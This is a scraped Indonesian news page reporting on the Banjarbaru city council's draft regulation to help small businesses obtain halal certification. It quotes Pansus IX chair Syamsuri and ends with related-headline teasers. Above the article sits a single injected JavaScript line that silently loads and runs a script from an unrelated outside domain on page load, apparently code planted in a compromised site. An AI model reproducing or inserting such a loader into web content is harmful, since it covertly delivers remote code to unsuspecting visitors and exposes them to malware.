(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah (Raperda) tentang produk halal untuk Usaha Mikro Kecil Menengah (UMKM).
Raperda produk halal diharapkan dapat memberikan dukungan kepada pelaku UMKM memperoleh sertifikasi halal yang diakui, sehingga bisa diterima dengan lebih luas di pasar.
Ketua Panitia Khusus (Pansus) IX DPRD Banjarbaru, Ir Syamsuri mengungkapkan, hingga saat ini pembahasan sudah berlangsung melalui dua rapat internal dan satu rapat dengan dinas terkait.
Rencananya, dalam rapat ketiga, pembahasan substansi terkait akan semakin mendalam, melibatkan dinas terkait serta melakukan studi banding ke daerah lain.
Menurutnya nanti pihaknya akan mengadopsi beberapa elemen dari Perda yang ada di daerah lain sebagai bahan pembanding, salah satunya dari Kalimantan Timur (Kaltim) yang telah mengeluarkan Perda serupa pada 2024. Bertujuan untuk memperkaya substansi dan memastikan Perda yang disusun relevan dengan kebutuhan UMKM.
“Melalui Perda ini, kami berharap pemerintah dapat memberikan dukungan kepada UMKM dengan memberikan kemudahan, atau bahkan dispensasi biaya untuk mendapatkan sertifikasi halal,” ujar Syamsuri.
Wakil rakyat ini berharap produk UMKM yang telah dibina oleh pemerintah dapat masuk ke pasar dengan lebih mudah dan memiliki daya saing lebih tinggi.
“Kami memberikan kemudahan dalam hal proses birokrasi dan biaya transaksi, serta memastikan bahwa setiap produk yang dipasarkan telah memenuhi standar halal yang diakui. Adanya Perda ini kami ingin mempermudah proses ini, terutama bagi pelaku usaha mikro yang mungkin kesulitan dengan biaya dan administrasi yang rumit,” lanjutnya.
Baca juga: Pegawai Pegadaian di Banjarmasin Jadi Terdakwa Korupsi, Ini Modusnya
Meski ditargetkan selesai pada akhir tahun ini, kemungkinan besar proses ini akan berlangsung hingga awal tahun depan.
“Kami akan berusaha secepat mungkin, mungkin pada Februari 2025, Perda ini sudah bisa dilaksanakan,” katanya
Dalam perumusan Raperda tersebut, Syamsuri menegaskan akan bekerja sama dengan berbagai pihak, seperti Badan Penyelenggara Jaminan Produk Halal (BPJPH), MUI, Disperindag, serta Dinas Koperasi dan UMKM untuk memastikan keberhasilan implementasi Perda ini. (Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More
KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
This website uses cookies.